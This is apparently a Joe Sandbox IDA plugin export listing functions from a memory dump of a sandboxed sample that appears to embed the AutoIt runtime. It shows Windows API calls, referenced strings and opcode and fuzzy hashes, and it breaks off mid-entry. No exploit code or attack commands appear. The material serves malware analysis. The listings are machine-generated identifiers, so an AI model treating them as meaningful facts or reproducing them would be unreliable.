Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 26877e66c602a7b450c648def943a87fcb7d8598eb22edafc935b0dd040d9408
Instruction ID: bbbc989848c43386a2bd5f7272fd4fc6ff7197a043ba1e0280ecdfeb83867c52
Opcode Fuzzy Hash: 26877e66c602a7b450c648def943a87fcb7d8598eb22edafc935b0dd040d9408
Instruction Fuzzy Hash: 3941B1B12043019FD720EF24D885B5ABFE4EF85310F1086ADF8A5972E2D770E905CB6A

Function 00BB4416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00BBCC08,00000000,?,?,?,?), ref: 00BB44AA
GetWindowLongW.USER32 ref: 00BB44C7
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00BB44D7

Strings

SysTreeView32, xrefs: 00BB447C

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 9cf751a3039b67e4b1b8c3c4ba72defce6d6cfb32edf66208bbcb39ef02ab57a
Instruction ID: 3c2b6f5a07b8c3b1354fe677810a8ed39f62eef12ce748ef7c25b2c220cdaa14
Opcode Fuzzy Hash: 9cf751a3039b67e4b1b8c3c4ba72defce6d6cfb32edf66208bbcb39ef02ab57a
Instruction Fuzzy Hash: 0C317C31210605AFDB208E38DC45BEA7BE9FB08324F204755F979932E1DBB0EC609760

Function 00BA304E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA335B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,00BA3077,?,?), ref: 00BA3378

inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00BA307A
_wcslen.LIBCMT ref: 00BA309B
htons.WSOCK32(00000000,?,?,00000000), ref: 00BA3106

Strings

255.255.255.255, xrefs: 00BA3095, 00BA309A

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ByteCharMultiWide_wcslenhtonsinet_addr
String ID: 255.255.255.255
API String ID: 946324512-2422070025
Opcode ID: ab99d739402e45895c55d3f53bb687a3e745e8cc91896f8b9f4bee7680b7eda9
Instruction ID: ced7145217aae21674795ad89f9e061418bb4ec0808da6d78d688d8b942a8c4f
Opcode Fuzzy Hash: ab99d739402e45895c55d3f53bb687a3e745e8cc91896f8b9f4bee7680b7eda9
Instruction Fuzzy Hash: 9D31D5352082059FCB20CF68C485F6977E0EF16714F2480D9F8159B392DB72DE45C760

Function 00BB3EB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00BB3F40
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00BB3F54
SendMessageW.USER32(?,00001002,00000000,?), ref: 00BB3F78

Strings

SysMonthCal32, xrefs: 00BB3F0B

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: e22395766b40dcd19653e522f2c3d3e49651e410eae8d7739abb96a2a8e81661
Instruction ID: 97221c9a8f34830c920a1dc333f67d59acc9a7f86301a7c1b04d39ae795d7c9f
Opcode Fuzzy Hash: e22395766b40dcd19653e522f2c3d3e49651e410eae8d7739abb96a2a8e81661
Instruction Fuzzy Hash: 80219C32650219BBDF21DF94DC86FFA3BB9EB48B14F110254FA156B1D0DAB1E950CBA0

Function 00BB4653 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00BB4705
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00BB4713
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00BB471A

Strings

msctls_updown32, xrefs: 00BB4684

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 9cf4eaf42e883b5a87f8af0cbba151f56fb0c675bc2b1e00be9f0eb89b32e16c
Instruction ID: ad51fa075244ff372c183f70ebf97e31a7193074abb584d5bb8281f8f08cf2ba
Opcode Fuzzy Hash: 9cf4eaf42e883b5a87f8af0cbba151f56fb0c675bc2b1e00be9f0eb89b32e16c
Instruction Fuzzy Hash: 832160B5600208AFDB10DF69DCC1DB737EDEB5A394B040499FA019B251CBB1EC11CAA0

Function 00B895AD Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 85COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00B8961D

Strings

#notrayicon, xrefs: 00B895B7
#OnAutoItStartRegister, xrefs: 00B895F3
#requireadmin, xrefs: 00B895D9

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _wcslen
String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
API String ID: 176396367-2734436370
Opcode ID: 73402e71918bd24a615e88859a85417dfe40c4bddcff3dba841dacbf8da1b4fd
Instruction ID: ef590337dc2fc6c7a649bf487f54bda6fbd692dabe32a474cba7b3ce1cb5ac6f
Opcode Fuzzy Hash: 73402e71918bd24a615e88859a85417dfe40c4bddcff3dba841dacbf8da1b4fd
Instruction Fuzzy Hash: F021383224462166CB31BA24DC42FFB73D8DF61700F1840A6F94997061FB91DE41D395

Function 00BB37B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00BB3840
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00BB3850
MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00BB3876

Strings

Listbox, xrefs: 00BB380F

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: c3a529e98c5247d4e1229a5b9722bab412d33e06d4c47fc8d6c5d30c814bb658
Instruction ID: 1617cd98d0da38c1caf5e8e0e7b769b69b498d84ee384bcbcf682408f885418a
Opcode Fuzzy Hash: c3a529e98c5247d4e1229a5b9722bab412d33e06d4c47fc8d6c5d30c814bb658
Instruction Fuzzy Hash: 7C218E72610218BBEB218F55DC85EFB3BEEEF89B50F118164F9059B190CAB1DC5287A0

Function 00B949F4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00B94A08
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00B94A5C
SetErrorMode.KERNEL32(00000000,?,?,00BBCC08), ref: 00B94AD0

Strings

%lu, xrefs: 00B94A6F

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: ErrorMode$InformationVolume
String ID: %lu
API String ID: 2507767853-685833217
Opcode ID: 5f9f549c6f1b506e6fb6c7c2472cffd4eabff3c6a38c438593b35667998bda0a
Instruction ID: 6023c538794c29598648845a8a1ebfd8222956b48a0c9a7eefbe4b9704865e2e
Opcode Fuzzy Hash: 5f9f549c6f1b506e6fb6c7c2472cffd4eabff3c6a38c438593b35667998bda0a
Instruction Fuzzy Hash: 71315375A00119AFDB10DF54C885EAA7BF8EF48308F1440E5F509EB262DB71ED46CB61

Function 00BB41EB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00BB424F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00BB4264
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00BB4271

Strings

msctls_trackbar32, xrefs: 00BB4226

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: bb2f66ccdac775136dcf2ae674ca48dd60bf3b40129568129c647a2cb2b9e2a8
Instruction ID: de34caf5b90425ff099d2c7b29fec3aeb8bdbeee99f36649498eaa67eaa5a5a9
Opcode Fuzzy Hash: bb2f66ccdac775136dcf2ae674ca48dd60bf3b40129568129c647a2cb2b9e2a8
Instruction Fuzzy Hash: 5911BF31250248BBEB209E29CC46FFB3BECEF95B54F010514FA55A60A1D6B1D8119B50

Function 00B82F52 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B26B57: _wcslen.LIBCMT ref: 00B26B6A

Part of subcall function 00B82DA7: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00B82DC5
Part of subcall function 00B82DA7: GetWindowThreadProcessId.USER32(?,00000000), ref: 00B82DD6
Part of subcall function 00B82DA7: GetCurrentThreadId.KERNEL32 ref: 00B82DDD
Part of subcall function 00B82DA7: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00B82DE4

GetFocus.USER32 ref: 00B82F78

Part of subcall function 00B82DEE: GetParent.USER32(00000000), ref: 00B82DF9

GetClassNameW.USER32(?,?,00000100), ref: 00B82FC3
EnumChildWindows.USER32(?,00B8303B), ref: 00B82FEB

Strings

%s%d, xrefs: 00B82FFF

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: 1fe4f1c9956c7fdef24afc690fdc3a7a31fead4e21dd275e743c6cf56e7b1947
Instruction ID: 36aa19f9015f9ee46549daa5cd8f8ebddf2665dc4cdcd8266f496ca4711e7992
Opcode Fuzzy Hash: 1fe4f1c9956c7fdef24afc690fdc3a7a31fead4e21dd275e743c6cf56e7b1947
Instruction Fuzzy Hash: FD11A2756002056BDF15BF649C86EED3BEAAF94704F0440B5F90A9B262DE709945CB70

Function 00BB5882 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00BB58C1
SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00BB58EE
DrawMenuBar.USER32(?), ref: 00BB58FD

Strings

0, xrefs: 00BB588F

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: 3c6728c001434638e05586fc4188a9a55c8f0c5fbd71b7e0a454db956ca4d113
Instruction ID: 22856af188ed18966548cfef6c34225c3e1420f16c992c116d8e232c4a55d565
Opcode Fuzzy Hash: 3c6728c001434638e05586fc4188a9a55c8f0c5fbd71b7e0a454db956ca4d113
Instruction Fuzzy Hash: 3C010931500219EFDB219F11DC85BEABBB4FB45361F1480EAE889D6251DBB09A949F32

Function 00B7D3A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,GetSystemWow64DirectoryW), ref: 00B7D3BF
FreeLibrary.KERNEL32 ref: 00B7D3E5

Strings

GetSystemWow64DirectoryW, xrefs: 00B7D3B9
X64, xrefs: 00B7D2A8

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 3013587201-2590602151
Opcode ID: e49477c4284bd618498cbe2064d29bd800a5d9b0466f4892aca5d0760ffb06bd
Instruction ID: 519ca02abdd1a74b0bdb93ea2177c2696a1167a787c294921f38fcfe817d550a
Opcode Fuzzy Hash: e49477c4284bd618498cbe2064d29bd800a5d9b0466f4892aca5d0760ffb06bd
Instruction Fuzzy Hash: 43F05C218047059BC7745614CCC8A6D37F4EF10781FA2C6C9F03DF20D6EBA0CC41865A

Function 00B8007F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 780b20f865b42480c59923006df07e097607afffb7a0adc8d16055ac8065ac63
Instruction ID: 90d243a832508869ac74c78a2b392b7ec76517942b6772958a57766801537592
Opcode Fuzzy Hash: 780b20f865b42480c59923006df07e097607afffb7a0adc8d16055ac8065ac63
Instruction Fuzzy Hash: 4DC17B75A1020AEFDB54EFA4C898AAEB7F5FF48354F108598E405EB261C770EE45CB90

Function 00B53E80 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00B53F0B
__alldvrm.LIBCMT ref: 00B5410C
__alldvrm.LIBCMT ref: 00B5412E

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction ID: 7e033d6a3821c73666c963d78fed0da14c6f562174248a2cf08d2fd4f5e7eb0a
Opcode Fuzzy Hash: 190bec492484a18a97fe5f025dcdb3e473ceac46589bc02d4dbe4f94f5be8f6e
Instruction Fuzzy Hash: 36A146729007869FEB11CF18C8917AEBFE4EF65395F2841EDE9859B281C3388989C750

Function 00BA342E Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00BA3459
CoUninitialize.OLE32 ref: 00BA3463
VariantInit.OLEAUT32(?), ref: 00BA346E
VariantClear.OLEAUT32(?), ref: 00BA371B

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Variant$ClearInitInitializeUninitialize
String ID:
API String ID: 1998397398-0
Opcode ID: 04df062929dbfe9b69e5e37cc5cf5dc81b4998864ab65bdce7da327f665f2bee
Instruction ID: 546025069ef195b73b72722bedb0e49a1d8421e11d890dde4b01c7dacdc7c46c
Opcode Fuzzy Hash: 04df062929dbfe9b69e5e37cc5cf5dc81b4998864ab65bdce7da327f665f2bee
Instruction Fuzzy Hash: 20A15C756183109FC700DF28C595A2AB7E5FF89714F14889DF98AAB362DB30EE05CB91

Function 00B80436 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00BBFC08,?), ref: 00B805F0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00BBFC08,?), ref: 00B80608
CLSIDFromProgID.OLE32(?,?,00000000,00BBCC40,000000FF,?,00000000,00000800,00000000,?,00BBFC08,?), ref: 00B8062D
_memcmp.LIBVCRUNTIME ref: 00B8064E

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 8ea531007ee02223cf3b611fe8757939f87693f8cdfd6b5e2679a34b592f8db6
Instruction ID: 3048767aa73dd35d10e0673d45fc15e365cc96d43240054da5a3df3c6b19de71
Opcode Fuzzy Hash: 8ea531007ee02223cf3b611fe8757939f87693f8cdfd6b5e2679a34b592f8db6
Instruction Fuzzy Hash: AE812D71A10109EFCB44EF94C984DEEB7F9FF89315F104598E506AB260DB71AE0ACB60

Function 00B61391 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00B614C0

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 89b0913e638a9aab7909a0c38619b41dbae3e579dd10957db5f4d4a009eb38ed
Instruction ID: f8ea6aeec60bc055efc842cccab9f72db4c65a04f1b0790f5e1d821e7e9fb893
Opcode Fuzzy Hash: 89b0913e638a9aab7909a0c38619b41dbae3e579dd10957db5f4d4a009eb38ed
Instruction Fuzzy Hash: 21413C31A00111ABDB21ABBD8C467BE3BE4EF41370F1C4AE5F819D7391EE7889456A61

Function 00BB6278 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00BB62E2
ScreenToClient.USER32(?,?), ref: 00BB6315
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 00BB6382

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: b721f5f74a25db22aa362cc5874b4073eb546fce439c3afa0f5cb177f08a90e1
Instruction ID: 0a800a64b4714d368e2aa5fcda00efcc674b7092b5d5f0fd4b9c9ff511cd544f
